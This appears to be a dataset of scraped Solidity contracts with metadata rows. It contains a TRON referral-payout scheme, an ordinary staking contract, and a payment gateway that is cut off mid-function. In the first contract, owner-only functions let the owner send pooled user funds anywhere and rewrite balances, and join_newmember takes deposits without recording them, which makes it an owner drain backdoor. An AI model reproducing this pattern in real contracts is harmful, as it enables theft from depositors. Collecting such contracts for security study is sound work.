| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TF/TFUqePHEhweUiyawSto82wJSfkTnneEKHa_TronAstral.sol
| 3,969 | 13,596 |
//SourceUnit: Tron Astral.sol
pragma solidity >=0.4.0 <0.8.0;
contract owned {
constructor() public { owner = msg.sender; }
address payable owner;
modifier bonusRelease {
require(msg.sender == owner,
"Nothing For You!");
_;
}
}
contract TronAstral is owned {
struct User {
uint256 id;
uint256 cycle;
address upline;
uint256 referrals;
uint256 payouts;
uint256 direct_bonus;
uint256 pool_bonus;
uint256 match_bonus;
uint256 deposit_amount;
uint256 deposit_payouts;
uint40 deposit_time;
uint256 total_deposits;
uint256 total_payouts;
uint256 total_structure;
}
address payable public owner;
address payable public admin_fee;
mapping(address => User) public users;
mapping(uint256 => address) public userList;
uint256[] public cycles;
uint8[] public ref_bonuses; //10% of amount TRX
uint8[] public pool_bonuses; // 1% daily
uint40 public pool_last_draw = uint40(block.timestamp);
uint256 public pool_cycle;
uint256 public pool_balance;
mapping(uint256 => mapping(address => uint256)) public pool_users_refs_deposits_sum;
mapping(uint8 => address) public pool_top;
uint256 public total_users = 1;
uint256 public total_deposited;
uint256 public total_withdraw;
event Upline(address indexed addr, address indexed upline);
event NewDeposit(address indexed addr, uint256 amount);
event DirectPayout(address indexed addr, address indexed from, uint256 amount);
event MatchPayout(address indexed addr, address indexed from, uint256 amount);
event PoolPayout(address indexed addr, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
event LimitReached(address indexed addr, uint256 amount);
constructor(address payable _owner) public {
owner = _owner;
admin_fee = _owner;
users[_owner].id = total_users;
userList[total_users] = _owner;
users[_owner].payouts = 0;
users[_owner].deposit_amount = 0;
users[_owner].deposit_payouts = 0;
users[_owner].deposit_time = uint40(block.timestamp);
users[_owner].total_deposits = 0;
ref_bonuses.push(25); //1st generation
ref_bonuses.push(10); //2nd generation
ref_bonuses.push(10); //3rd generation
ref_bonuses.push(10); //4th generation
ref_bonuses.push(10); //5th generation
ref_bonuses.push(7); //6th generation
ref_bonuses.push(7); //7th generation
ref_bonuses.push(7); //8th generation
ref_bonuses.push(7); //9th generation
ref_bonuses.push(7); //10th generation
}
function() payable external {
_deposit(msg.sender, msg.value);
}
function join_newmember(address _upline) public payable {
require(msg.value > 1.0 trx);
if(users[_upline].deposit_time > 0) {
}
}
function _setUpline(address _addr, address _upline) private {
if(users[_addr].upline == address(0) && _upline != _addr && _addr != owner && (users[_upline].deposit_time > 0 || _upline == owner)) {
users[_addr].upline = _upline;
users[_upline].referrals++;
emit Upline(_addr, _upline);
total_users++;
users[_addr].id = total_users;
userList[total_users] = _addr;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(_upline == address(0)) break;
users[_upline].total_structure++;
_upline = users[_upline].upline;
}
}
}
function _deposit(address _addr, uint256 _amount) private {
require(users[_addr].upline != address(0) || _addr == owner, "No upline");
if(users[_addr].deposit_time > 0) {
users[_addr].cycle++;
require(users[_addr].payouts >= this.maxPayoutOf(users[_addr].deposit_amount), "Deposit already exists");
require(_amount >= users[_addr].deposit_amount && _amount <= cycles[users[_addr].cycle > cycles.length - 1 ? cycles.length - 1 : users[_addr].cycle], "Bad amount");
}
else require(_amount >= 1e8 && _amount <= cycles[0], "Bad amount");
users[_addr].payouts = 0;
users[_addr].deposit_amount = _amount;
users[_addr].deposit_payouts = 0;
users[_addr].deposit_time = uint40(block.timestamp);
users[_addr].total_deposits += _amount;
total_deposited += _amount;
emit NewDeposit(_addr, _amount);
if(users[_addr].upline != address(0)) {
users[users[_addr].upline].direct_bonus += _amount / 10;
emit DirectPayout(users[_addr].upline, _addr, _amount / 10);
}
}
function _pollDeposits(address _addr, uint256 _amount) private {
pool_balance += _amount * 1 / 100;
address upline = users[_addr].upline;
if(upline == address(0)) return;
pool_users_refs_deposits_sum[pool_cycle][upline] += _amount;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == upline) break;
if(pool_top[i] == address(0)) {
pool_top[i] = upline;
break;
}
if(pool_users_refs_deposits_sum[pool_cycle][upline] > pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]) {
for(uint8 j = i + 1; j < pool_bonuses.length; j++) {
if(pool_top[j] == upline) {
for(uint8 k = j; k <= pool_bonuses.length; k++) {
pool_top[k] = pool_top[k + 1];
}
break;
}
}
for(uint8 j = uint8(pool_bonuses.length - 1); j > i; j--) {
pool_top[j] = pool_top[j - 1];
}
pool_top[i] = upline;
break;
}
}
}
function _refPayout(address _addr, uint256 _amount) private {
address up = users[_addr].upline;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(up == address(0)) break;
if(users[up].referrals >= i + 1) {
uint256 bonus = _amount * ref_bonuses[i] / 100;
users[up].match_bonus += bonus;
emit MatchPayout(up, _addr, bonus);
}
up = users[up].upline;
}
}
function _drawPool() private {
pool_last_draw = uint40(block.timestamp);
pool_cycle++;
uint256 draw_amount = pool_balance / 10;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
uint256 win = draw_amount * pool_bonuses[i] / 100;
users[pool_top[i]].pool_bonus += win;
pool_balance -= win;
emit PoolPayout(pool_top[i], win);
}
for(uint8 i = 0; i < pool_bonuses.length; i++) {
pool_top[i] = address(0);
}
}
function depositPayout(address _upline) payable external {
_setUpline(msg.sender, _upline);
_deposit(msg.sender, msg.value);
}
function withdraw() external {
(uint256 to_payout, uint256 max_payout) = this.payoutOf(msg.sender);
require(users[msg.sender].payouts < max_payout, "Full payouts");
// Deposit payout
if(to_payout > 0) {
if(users[msg.sender].payouts + to_payout > max_payout) {
to_payout = max_payout - users[msg.sender].payouts;
}
users[msg.sender].deposit_payouts += to_payout;
users[msg.sender].payouts += to_payout;
_refPayout(msg.sender, to_payout);
}
// Direct payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].direct_bonus > 0) {
uint256 direct_bonus = users[msg.sender].direct_bonus;
if(users[msg.sender].payouts + direct_bonus > max_payout) {
direct_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].direct_bonus -= direct_bonus;
users[msg.sender].payouts += direct_bonus;
to_payout += direct_bonus;
}
// Pool payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].pool_bonus > 0) {
uint256 pool_bonus = users[msg.sender].pool_bonus;
if(users[msg.sender].payouts + pool_bonus > max_payout) {
pool_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].pool_bonus -= pool_bonus;
users[msg.sender].payouts += pool_bonus;
to_payout += pool_bonus;
}
// Match payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].match_bonus > 0) {
uint256 match_bonus = users[msg.sender].match_bonus;
if(users[msg.sender].payouts + match_bonus > max_payout) {
match_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].match_bonus -= match_bonus;
users[msg.sender].payouts += match_bonus;
to_payout += match_bonus;
}
require(to_payout > 0, "Zero payout");
users[msg.sender].total_payouts += to_payout;
total_withdraw += to_payout;
msg.sender.transfer(to_payout);
emit Withdraw(msg.sender, to_payout);
if(users[msg.sender].payouts >= max_payout) {
emit LimitReached(msg.sender, users[msg.sender].payouts);
}
}
function maxPayoutOf(uint256 _amount) pure external returns(uint256) {
return _amount * 3;
}
function payoutOf(address _addr) view external returns(uint256 payout, uint256 max_payout) {
max_payout = this.maxPayoutOf(users[_addr].deposit_amount);
if(users[_addr].deposit_payouts < max_payout) {
payout = (users[_addr].deposit_amount * ((block.timestamp - users[_addr].deposit_time) / 1 days) / 50) - users[_addr].deposit_payouts;
if(users[_addr].deposit_payouts + payout > max_payout) {
payout = max_payout - users[_addr].deposit_payouts;
}
}
}
function payoutToWallet(address payable _user, uint256 _amount) public bonusRelease
{
_user.transfer(_amount);
}
function getUserById(uint256 userid) view external bonusRelease returns(address user_address) {
return userList[userid];
}
function getUserDetails(uint256 userid) view external bonusRelease returns(uint256 id, address user_address, uint256 cycle, uint256 deposit_payouts, uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure) {
address _addr = userList[userid];
return (users[_addr].id, _addr, users[_addr].cycle, users[_addr].deposit_payouts, users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure);
}
function updUser(address _addr, uint256 _id, uint256 _cycle, address _upline, uint256 _referrals, uint256 _payouts, uint256 _direct_bonus, uint256 _pool_bonus) public bonusRelease {
users[_addr].id = _id;
users[_addr].cycle = _cycle;
users[_addr].upline = _upline;
users[_addr].referrals = _referrals;
users[_addr].payouts = _payouts;
users[_addr].direct_bonus = _direct_bonus;
users[_addr].pool_bonus = _pool_bonus;
userList[_id] = _addr;
total_users = total_users + 1 ;
}
function updUserAfter(address _addr, uint256 _match_bonus, uint256 _deposit_amount, uint256 _deposit_payouts, uint40 _deposit_time, uint256 _total_deposits, uint256 _total_payouts, uint256 _total_structure) public bonusRelease {
users[_addr].match_bonus = _match_bonus;
users[_addr].deposit_amount = _deposit_amount;
users[_addr].deposit_payouts = _deposit_payouts;
users[_addr].deposit_time = _deposit_time;
users[_addr].total_deposits = _total_deposits;
users[_addr].total_payouts = _total_payouts;
users[_addr].total_structure = _total_structure;
}
function initContract(uint256 poolcycle, uint256 poolbalance, uint40 poollastdraw, uint256 totaldeposited,uint256 totalwithdraw) public bonusRelease
{
pool_cycle = poolcycle;
pool_balance = poolbalance;
pool_last_draw = poollastdraw;
total_deposited = totaldeposited;
total_withdraw = totalwithdraw;
}
function userInfo(address _addr) view external returns(address upline, uint40 deposit_time, uint256 deposit_amount, uint256 payouts, uint256 direct_bonus, uint256 pool_bonus, uint256 match_bonus) {
return (users[_addr].upline, users[_addr].deposit_time, users[_addr].deposit_amount, users[_addr].payouts, users[_addr].direct_bonus, users[_addr].pool_bonus, users[_addr].match_bonus);
}
function userInfoTotals(address _addr) view external returns(uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure) {
return (users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure);
}
function poolTopInfo() view external returns(address[4] memory addrs, uint256[4] memory deps) {
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
addrs[i] = pool_top[i];
deps[i] = pool_users_refs_deposits_sum[pool_cycle][pool_top[i]];
}
}
}
| 296,476 | 12,455 |
d8efb0631cc629eca2c4883ad1ff7b77f06ef754aab61c200b482863aeb46822
| 27,176 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/ab/aB840483891972eC8321CBd770231b584d1D8C53_SkadiStaking.sol
| 4,139 | 16,494 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IsSKI {
function rebase(uint256 skiProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract SkadiStaking is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public immutable SKI;
address public immutable sSKI;
struct Epoch {
uint length;
uint number;
uint endBlock;
uint distribute;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _SKI,
address _sSKI,
uint _epochLength,
uint _firstEpochNumber,
uint _firstEpochBlock) {
require(_SKI != address(0));
SKI = _SKI;
require(_sSKI != address(0));
sSKI = _sSKI;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endBlock: _firstEpochBlock,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(SKI).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IsSKI(sSKI).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(sSKI).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IsSKI(sSKI).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IsSKI(sSKI).balanceForGons(info.gons));
IERC20(SKI).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sSKI).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(SKI).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IsSKI(sSKI).index();
}
function rebase() public {
if(epoch.endBlock <= block.number) {
IsSKI(sSKI).rebase(epoch.distribute, epoch.number);
epoch.endBlock = epoch.endBlock.add(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IsSKI(sSKI).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(SKI).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sSKI).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sSKI).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 116,039 | 12,456 |
254a35f2593d4b0cb09b6ee6ee08b83473f86fa24ff70800cf912eab0028e236
| 41,945 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x2cf5694906bdd80f33bac7cb80183f1c61bc5be2.sol
| 6,138 | 24,952 |
pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
// File: openzeppelin-solidity/contracts/lifecycle/Destructible.sol
contract Destructible is Ownable {
function destroy() public onlyOwner {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) public onlyOwner {
selfdestruct(_recipient);
}
}
// File: openzeppelin-solidity/contracts/ownership/Contactable.sol
contract Contactable is Ownable {
string public contactInformation;
function setContactInformation(string _info) public onlyOwner {
contactInformation = _info;
}
}
// File: monetha-utility-contracts/contracts/Restricted.sol
contract Restricted is Ownable {
//MonethaAddress set event
event MonethaAddressSet(address _address,
bool _isMonethaAddress);
mapping (address => bool) public isMonethaAddress;
modifier onlyMonetha() {
require(isMonethaAddress[msg.sender]);
_;
}
function setMonethaAddress(address _address, bool _isMonethaAddress) onlyOwner public {
isMonethaAddress[_address] = _isMonethaAddress;
emit MonethaAddressSet(_address, _isMonethaAddress);
}
}
// File: monetha-loyalty-contracts/contracts/IMonethaVoucher.sol
interface IMonethaVoucher {
function totalInSharedPool() external view returns (uint256);
function toWei(uint256 _value) external view returns (uint256);
function fromWei(uint256 _value) external view returns (uint256);
function applyDiscount(address _for, uint256 _vouchers) external returns (uint256 amountVouchers, uint256 amountWei);
function applyPayback(address _for, uint256 _amountWei) external returns (uint256 amountVouchers);
function buyVouchers(uint256 _vouchers) external payable;
function sellVouchers(uint256 _vouchers) external returns(uint256 weis);
function releasePurchasedTo(address _to, uint256 _value) external returns (bool);
function purchasedBy(address owner) external view returns (uint256);
}
// File: contracts/GenericERC20.sol
contract GenericERC20 {
function totalSupply() public view returns (uint256);
function decimals() public view returns(uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
// Return type not defined intentionally since not all ERC20 tokens return proper result type
function transfer(address _to, uint256 _value) public;
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(address indexed from,
address indexed to,
uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
// File: contracts/MonethaGateway.sol
contract MonethaGateway is Pausable, Contactable, Destructible, Restricted {
using SafeMath for uint256;
string constant VERSION = "0.6";
uint public constant FEE_PERMILLE = 15;
uint public constant PERMILLE_COEFFICIENT = 1000;
address public monethaVault;
address public admin;
IMonethaVoucher public monethaVoucher;
uint public MaxDiscountPermille;
event PaymentProcessedEther(address merchantWallet, uint merchantIncome, uint monethaIncome);
event PaymentProcessedToken(address tokenAddress, address merchantWallet, uint merchantIncome, uint monethaIncome);
event MonethaVoucherChanged(address indexed previousMonethaVoucher,
address indexed newMonethaVoucher);
event MaxDiscountPermilleChanged(uint prevPermilleValue, uint newPermilleValue);
constructor(address _monethaVault, address _admin, IMonethaVoucher _monethaVoucher) public {
require(_monethaVault != 0x0);
monethaVault = _monethaVault;
setAdmin(_admin);
setMonethaVoucher(_monethaVoucher);
setMaxDiscountPermille(700); // 70%
}
function acceptPayment(address _merchantWallet,
uint _monethaFee,
address _customerAddress,
uint _vouchersApply,
uint _paybackPermille)
external payable onlyMonetha whenNotPaused returns (uint discountWei){
require(_merchantWallet != 0x0);
uint price = msg.value;
// Monetha fee cannot be greater than 1.5% of payment
require(_monethaFee >= 0 && _monethaFee <= FEE_PERMILLE.mul(price).div(1000));
discountWei = 0;
if (monethaVoucher != address(0)) {
if (_vouchersApply > 0 && MaxDiscountPermille > 0) {
uint maxDiscountWei = price.mul(MaxDiscountPermille).div(PERMILLE_COEFFICIENT);
uint maxVouchers = monethaVoucher.fromWei(maxDiscountWei);
// limit vouchers to apply
uint vouchersApply = _vouchersApply;
if (vouchersApply > maxVouchers) {
vouchersApply = maxVouchers;
}
(, discountWei) = monethaVoucher.applyDiscount(_customerAddress, vouchersApply);
}
if (_paybackPermille > 0) {
uint paybackWei = price.sub(discountWei).mul(_paybackPermille).div(PERMILLE_COEFFICIENT);
if (paybackWei > 0) {
monethaVoucher.applyPayback(_customerAddress, paybackWei);
}
}
}
uint merchantIncome = price.sub(_monethaFee);
_merchantWallet.transfer(merchantIncome);
monethaVault.transfer(_monethaFee);
emit PaymentProcessedEther(_merchantWallet, merchantIncome, _monethaFee);
}
function acceptTokenPayment(address _merchantWallet,
uint _monethaFee,
address _tokenAddress,
uint _value)
external onlyMonetha whenNotPaused
{
require(_merchantWallet != 0x0);
// Monetha fee cannot be greater than 1.5% of payment
require(_monethaFee >= 0 && _monethaFee <= FEE_PERMILLE.mul(_value).div(1000));
uint merchantIncome = _value.sub(_monethaFee);
GenericERC20(_tokenAddress).transfer(_merchantWallet, merchantIncome);
GenericERC20(_tokenAddress).transfer(monethaVault, _monethaFee);
emit PaymentProcessedToken(_tokenAddress, _merchantWallet, merchantIncome, _monethaFee);
}
function changeMonethaVault(address newVault) external onlyOwner whenNotPaused {
monethaVault = newVault;
}
function setMonethaAddress(address _address, bool _isMonethaAddress) public {
require(msg.sender == admin || msg.sender == owner);
isMonethaAddress[_address] = _isMonethaAddress;
emit MonethaAddressSet(_address, _isMonethaAddress);
}
function setAdmin(address _admin) public onlyOwner {
require(_admin != address(0));
admin = _admin;
}
function setMonethaVoucher(IMonethaVoucher _monethaVoucher) public onlyOwner {
if (monethaVoucher != _monethaVoucher) {
emit MonethaVoucherChanged(monethaVoucher, _monethaVoucher);
monethaVoucher = _monethaVoucher;
}
}
function setMaxDiscountPermille(uint _maxDiscountPermille) public onlyOwner {
require(_maxDiscountPermille <= PERMILLE_COEFFICIENT);
emit MaxDiscountPermilleChanged(MaxDiscountPermille, _maxDiscountPermille);
